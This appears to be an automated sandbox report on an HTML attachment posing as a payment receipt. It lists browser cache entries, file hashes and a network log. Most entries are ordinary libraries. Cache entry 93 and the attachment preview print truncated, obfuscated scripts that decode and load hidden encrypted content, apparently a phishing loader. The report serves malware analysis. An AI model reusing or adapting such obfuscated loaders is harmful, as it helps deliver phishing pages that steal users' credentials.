Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (513), with no line terminators
Category:	downloaded
Size (bytes):	513
Entropy (8bit):	5.350826451115093
Encrypted:	false
SSDEEP:	12:D0rdkqmKlO30kMWznLPQspwlZpqBijDgrgLCpWRG3a0:exmwOkkMWIvv4ELsWUp
MD5:	602C381194795DFC124FACDF48492EF1
SHA1:	90D594B7B5AF217824F2974514548C95FECFBFA5
SHA-256:	BF450798FB52E2458A1E10749577E5334F3E1D7907A47FDFEA5430CB71FA19E6
SHA-512:	8837F6BD2A11387D31A866D07B66A0FF2E58D2EDC2682A582919A1896CE9B4CB683A795D91968B41FA46C31CE62D34414E1F3318D4F5DDA2999447F4BCA6133D
Malicious:	false
URL:	https://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=f65ecb70-094d-0b11-7c9d-7da1bcadfaa7
Preview:	var jsllConfig={useDefaultContentName:!0,syncMuid:!0,authMethod:AUTHMETHOD,isLoggedIn:ISLOGGEDIN===undefined\|\|ISLOGGEDIN!=="True"?!1:!0,muidDomain:MUIDDOMAIN\|\|"microsoft.com",useShortNameForContentBlob:!1,autoCapture:{pageView:!0,onLoad:!0,onUnload:!0,click:!0,scroll:!0,resize:!0,lineage:!0,jsError:!0,addin:!0,perf:!0},coreData:{appId:JSLLAPPID,market:LOCALE,pageName:PAGENAME,pageType:PAYLOADTYPE,referrerUri:document.referrer,requestUri:window.location.href},callback:{pageName:PAGENAME}};awa.init(jsllConfig)

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	downloaded
Size (bytes):	47692
Entropy (8bit):	5.401573598696506
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHBzZBF6gmXLSOzQDjdadOQbk6sgEvxm7b39tobLKZUvnw81KZLGcD:IGJWHBzZBF6xbGeLsVvQ33FUvDW
MD5:	B0B3774E70E752266B4CF190E6D95053
SHA1:	03823D33D8C374DD69B66F1D75A5FC93D29967E1
SHA-256:	A9F0787E39291D7BCB873D0D514F1D2C8DB0256FD741C2ABC4D46A809254E141
SHA-512:	8060AA547C3F32930EC2A3786A6BB15054F396D8EAB238EA34E881C2EEAE0D013AF246FDDE85DA8A5BFC2690B1EB26E5138B45BAA28479264DB3BA458D4055A8
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (513), with no line terminators
Category:	dropped
Size (bytes):	513
Entropy (8bit):	5.350826451115093
Encrypted:	false
SSDEEP:	12:D0rdkqmKlO30kMWznLPQspwlZpqBijDgrgLCpWRG3a0:exmwOkkMWIvv4ELsWUp
MD5:	602C381194795DFC124FACDF48492EF1
SHA1:	90D594B7B5AF217824F2974514548C95FECFBFA5
SHA-256:	BF450798FB52E2458A1E10749577E5334F3E1D7907A47FDFEA5430CB71FA19E6
SHA-512:	8837F6BD2A11387D31A866D07B66A0FF2E58D2EDC2682A582919A1896CE9B4CB683A795D91968B41FA46C31CE62D34414E1F3318D4F5DDA2999447F4BCA6133D
Malicious:	false
Preview:	var jsllConfig={useDefaultContentName:!0,syncMuid:!0,authMethod:AUTHMETHOD,isLoggedIn:ISLOGGEDIN===undefined\|\|ISLOGGEDIN!=="True"?!1:!0,muidDomain:MUIDDOMAIN\|\|"microsoft.com",useShortNameForContentBlob:!1,autoCapture:{pageView:!0,onLoad:!0,onUnload:!0,click:!0,scroll:!0,resize:!0,lineage:!0,jsError:!0,addin:!0,perf:!0},coreData:{appId:JSLLAPPID,market:LOCALE,pageName:PAGENAME,pageType:PAYLOADTYPE,referrerUri:document.referrer,requestUri:window.location.href},callback:{pageName:PAGENAME}};awa.init(jsllConfig)

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1329), with CRLF line terminators
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	5.980829166355329
Encrypted:	false
SSDEEP:	48:AKF3Kj7bcAIKUKnVk2vQwINj2NxwET7dmXJ8DgMESdwPuIqeIE:rwEALVtINj2N+ixmCcMERPuIXl
MD5:	4F078AF99674644ADE8581611723F974
SHA1:	32A798605B3EAC622A575E3F28E6380DB15974CF
SHA-256:	52F54B5B90C25CDD7CAE799C780454336F82A6A84883D284EDF03008111EA513
SHA-512:	21E252C76D5251FFE38879615D545A0667A9BC2907975819E5C3EA5A2C88ABF61286348619B8071519DE8BC17C97945E448E41FFA34FFA17603A0A6424F4306F
Malicious:	false
Preview:	var BVenRGdsmtoOIifi = document.createElement("script");..BVenRGdsmtoOIifi.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(BVenRGdsmtoOIifi);..BVenRGdsmtoOIifi.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiMDRxQkI0SVFhOURJOGR5RmFNSTFDdFF5SFFaYUJSYmk3TDVcL3dFbjBVNWJjMVwvY0N2RTZ2YjBaODAwb3lRc3NsWVJPZ25jcGVqenVFRnIrblwvNVNuNkFtbGh5d1hmNWswQktPTldJbDJTeHVnN3AwXC9pWW1CMlBDdHFTTDRcL1lONFZlQStCazhoRTA1YVRENUhQMk5hZjlGMjhSY1B3aXBKNjFTOFwvUWFwdHBaU1wvWnNnUXd6ek9cL05nSlVTQ1NYVjlBMVZ4VWFyWnNNWjhqZjJmYmJ2MVljdkluNEFlRkFCbFRpZkpnOWViOTkyRkE4a0ZjcnM2Nzc3VHlSY2hcLzZCeDNLMUFJQjU4V1RZdWMzWXhGdmJMS2lcL2hvTzBCSWVreEVqVExtb0cwYnlETXhaeEltXC9lWWZCY1ZPM1Q3cmxuOTRERExVSytlUUdWM1dUS25GMFlpbmNzNXd4SFBEYXcwWjY1XC9KZXY1TXdRTXRTSnBsY0dGTWtFaVF4a0l2allaNFRPV2JiY2NpelI5RlZsU2VRTldwVGZCNDdieDFUSnlCT0NOaTJjaUJhYXJjOGxXb0cxRTFrZEZrZStoRHN1dWlzYlJjZGtLbXE0N1lqTTZuQ1BXNHJXYWpDUTZaRFlcL05SQ3laVHgzb29ZVVhxTHpBY09BZkVkNzBMeUh2SUFsMGVBTk

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	dropped
Size (bytes):	47692
Entropy (8bit):	5.401573598696506
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHBzZBF6gmXLSOzQDjdadOQbk6sgEvxm7b39tobLKZUvnw81KZLGcD:IGJWHBzZBF6xbGeLsVvQ33FUvDW
MD5:	B0B3774E70E752266B4CF190E6D95053
SHA1:	03823D33D8C374DD69B66F1D75A5FC93D29967E1
SHA-256:	A9F0787E39291D7BCB873D0D514F1D2C8DB0256FD741C2ABC4D46A809254E141
SHA-512:	8060AA547C3F32930EC2A3786A6BB15054F396D8EAB238EA34E881C2EEAE0D013AF246FDDE85DA8A5BFC2690B1EB26E5138B45BAA28479264DB3BA458D4055A8
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://www.microsoft.com/favicon.ico?v2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (955), with CRLF line terminators
Category:	downloaded
Size (bytes):	201253
Entropy (8bit):	2.661810841903416
Encrypted:	false
SSDEEP:	768:W7nJSq9GinOo20uqxjr3+AKyKEAPNPPn8P9R/3htzAVT+JcYY5WRItsWc7rQ3S01:WHGiOoHuOjr3+AKyKAXS
MD5:	85DE642E1467807F64F7E10807DF3869
SHA1:	C795B490811C0E5A1A8F3C3F620AAB9F00C34F07
SHA-256:	5965B2C5472AACA1CD66EA5B0D07A971B961FEE72FC27EB1F6C760042084B21B
SHA-512:	BF4EC56D6FC54EAAFBD57C4E4D06900D358E39CE15009FB983491B0A83ABB60A0A54F46BE86387AB837B4AE1D1F3FF99156D04207065B0F65F165B54CFAAF47B
Malicious:	false
URL:	https://www.microsoft.com/en-us/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook?deeplink=%2fowa%2f&sdf=0
Preview:	..<!DOCTYPE html><html xmlns:mscom="http://schemas.microsoft.com/CMSvNext".. xmlns:md="http://schemas.microsoft.com/mscom-data" lang="en-us".. xmlns="http://www.w3.org/1999/xhtml"><head><link rel="shortcut icon".. href="//www.microsoft.com/favicon.ico?v2" /><link.. type="text/css" rel="stylesheet".. href="https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css".. /><title>Your request has been blocked. This could be.. due to several reasons.</title><meta name="Title".. content="We are sorry, the page you requested cannot be.. found" /><meta name="CorrelationVector".. content="VbLZYbRlhU2hyedN.1" /><meta name="Description".. content="" /><meta name="MscomContentLocale".. content="en-us" /><meta name="

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (24795), with no line terminators
Entropy (8bit):	3.3634853798540654
TrID:	HyperText Markup Language (13008/1) 61.90% HTML Application (8008/1) 38.10%
File name:	Hays eft_Receipt number N302143235953.htm
File size:	24'795 bytes
MD5:	3dc601187308aae12627751b3295a2b4
SHA1:	cd05a12ac7458dc4acd7ad1ac556a360bbd19f74
SHA256:	051405fe67f61134ac5258227293be9dec2b164ccd39f6564ebca4e9e217e3a6
SHA512:	91e11655204623f640efbe5f69df617acc53a46fb0b3f12762b11ba72d664844fde65b22fa0d01b24d6d3c0be852ae141bb000f5f0bda968b1d004927d2f3738
SSDEEP:	192:qA2pjFcwrpTw8N14R7yfRUYgKxpQDfbTftipwcFTxA1NdCoT4WDuoTSxb2+QLhiH:Y5w7FYyb6Ty1r+FLvWUbD
TLSH:	25B2E922C7089574B0BBDB21BB97E5B8068DB03660D41C8FE5DB619D48C8ED8B07B6C7
File Content Preview:	<script>var _0x3bd=["10 101","1100 ","00101 ","101","011 1","001111","11100","0 11","100","1001 0","101","01111 ","1101 ","1 1000","111","1110","01001","01 110","000","0111 ","10010 ","11 ","01100","000110","10100","10 10","0011","0001","0 11","111 10","0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 02:08:20.127738953 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:20.127767086 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:20.127825975 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:20.135339975 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:20.135351896 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:20.663705111 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:20.663762093 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:20.663831949 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:20.664028883 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:20.664045095 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.350739956 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.351104975 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.351128101 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.352649927 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.352716923 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.354748011 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.354825974 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.355353117 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.355360031 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.412892103 CET	49675	443	192.168.2.4	173.222.162.32
Dec 11, 2024 02:08:21.418427944 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.871567965 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.871767998 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.871793985 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.872879982 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.872941971 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.873225927 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.873290062 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.924367905 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.924376965 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.977498055 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.977560997 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.977596045 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.977627993 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.977660894 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.977673054 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.977689981 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.977720976 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.977729082 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.985800982 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.994174957 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:21.996529102 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:21.996557951 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.050263882 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.050282001 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.097067118 CET	443	49731	104.17.25.14	192.168.2.4
